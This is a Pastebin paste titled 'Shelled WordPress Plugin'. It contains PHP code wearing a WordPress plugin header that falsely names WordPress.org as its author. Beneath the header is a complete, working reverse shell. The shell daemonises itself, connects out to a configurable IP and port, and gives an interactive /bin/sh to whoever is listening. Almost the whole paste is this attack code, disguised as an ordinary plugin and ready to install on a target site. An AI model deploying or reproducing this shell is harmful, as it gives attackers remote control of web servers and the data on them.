Guest User

Shelled WordPress Plugin

a guest
Apr 29th, 2017
5
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.89 KB | None | 0 0
  1. <?php
  2. /*
  3. Plugin Name: WordPress.org Plugin
  4. Plugin URI: https://developer.wordpress.org/plugins/the-basics/
  5. Description: Basic WordPress Plugin Header Comment
  6. Version: 20160911
  7. Author: WordPress.org
  8. Author URI: https://developer.wordpress.org/
  9. License: GPL2
  10. License URI: https://www.gnu.org/licenses/gpl-2.0.html
  11. Text Domain: wporg
  12. Domain Path: /languages
  13. */
  14.  
  15. set_time_limit (0);
  16. $VERSION = "1.0";
  17. $ip = '192.168.56.1'; // CHANGE THIS
  18. $port = 1337; // CHANGE THIS
  19. $chunk_size = 1400;
  20. $write_a = null;
  21. $error_a = null;
  22. $shell = 'uname -a; w; id; /bin/sh -i';
  23. $daemon = 0;
  24. $debug = 0;
  25.  
  26. //
  27. // Daemonise ourself if possible to avoid zombies later
  28. //
  29.  
  30. // pcntl_fork is hardly ever available, but will allow us to daemonise
  31. // our php process and avoid zombies. Worth a try...
  32. if (function_exists('pcntl_fork')) {
  33. // Fork and have the parent process exit
  34. $pid = pcntl_fork();
  35.  
  36. if ($pid == -1) {
  37. printit("ERROR: Can't fork");
  38. exit(1);
  39. }
  40.  
  41. if ($pid) {
  42. exit(0); // Parent exits
  43. }
  44.  
  45. // Make the current process a session leader
  46. // Will only succeed if we forked
  47. if (posix_setsid() == -1) {
  48. printit("Error: Can't setsid()");
  49. exit(1);
  50. }
  51.  
  52. $daemon = 1;
  53. } else {
  54. printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
  55. }
  56.  
  57. // Change to a safe directory
  58. chdir("/");
  59.  
  60. // Remove any umask we inherited
  61. umask(0);
  62.  
  63. //
  64. // Do the reverse shell...
  65. //
  66.  
  67. // Open reverse connection
  68. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  69. if (!$sock) {
  70. printit("$errstr ($errno)");
  71. exit(1);
  72. }
  73.  
  74. // Spawn shell process
  75. $descriptorspec = array(
  76. 0 => array("pipe", "r"), // stdin is a pipe that the child will read from
  77. 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
  78. 2 => array("pipe", "w") // stderr is a pipe that the child will write to
  79. );
  80.  
  81. $process = proc_open($shell, $descriptorspec, $pipes);
  82.  
  83. if (!is_resource($process)) {
  84. printit("ERROR: Can't spawn shell");
  85. exit(1);
  86. }
  87.  
  88. // Set everything to non-blocking
  89. // Reason: Occsionally reads will block, even though stream_select tells us they won't
  90. stream_set_blocking($pipes[0], 0);
  91. stream_set_blocking($pipes[1], 0);
  92. stream_set_blocking($pipes[2], 0);
  93. stream_set_blocking($sock, 0);
  94.  
  95. printit("Successfully opened reverse shell to $ip:$port");
  96.  
  97. while (1) {
  98. // Check for end of TCP connection
  99. if (feof($sock)) {
  100. printit("ERROR: Shell connection terminated");
  101. break;
  102. }
  103.  
  104. // Check for end of STDOUT
  105. if (feof($pipes[1])) {
  106. printit("ERROR: Shell process terminated");
  107. break;
  108. }
  109.  
  110. // Wait until a command is end down $sock, or some
  111. // command output is available on STDOUT or STDERR
  112. $read_a = array($sock, $pipes[1], $pipes[2]);
  113. $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  114.  
  115. // If we can read from the TCP socket, send
  116. // data to process's STDIN
  117. if (in_array($sock, $read_a)) {
  118. if ($debug) printit("SOCK READ");
  119. $input = fread($sock, $chunk_size);
  120. if ($debug) printit("SOCK: $input");
  121. fwrite($pipes[0], $input);
  122. }
  123.  
  124. // If we can read from the process's STDOUT
  125. // send data down tcp connection
  126. if (in_array($pipes[1], $read_a)) {
  127. if ($debug) printit("STDOUT READ");
  128. $input = fread($pipes[1], $chunk_size);
  129. if ($debug) printit("STDOUT: $input");
  130. fwrite($sock, $input);
  131. }
  132.  
  133. // If we can read from the process's STDERR
  134. // send data down tcp connection
  135. if (in_array($pipes[2], $read_a)) {
  136. if ($debug) printit("STDERR READ");
  137. $input = fread($pipes[2], $chunk_size);
  138. if ($debug) printit("STDERR: $input");
  139. fwrite($sock, $input);
  140. }
  141. }
  142.  
  143. fclose($sock);
  144. fclose($pipes[0]);
  145. fclose($pipes[1]);
  146. fclose($pipes[2]);
  147. proc_close($process);
  148.  
  149. // Like print, but does nothing if we've daemonised ourself
  150. // (I can't figure out how to redirect STDOUT like a proper daemon)
  151. function printit ($string) {
  152. if (!$daemon) {
  153. print "$string\n";
  154. }
  155. }
  156.  
  157. ?>
Advertisement
Add Comment
Please, Sign In to add comment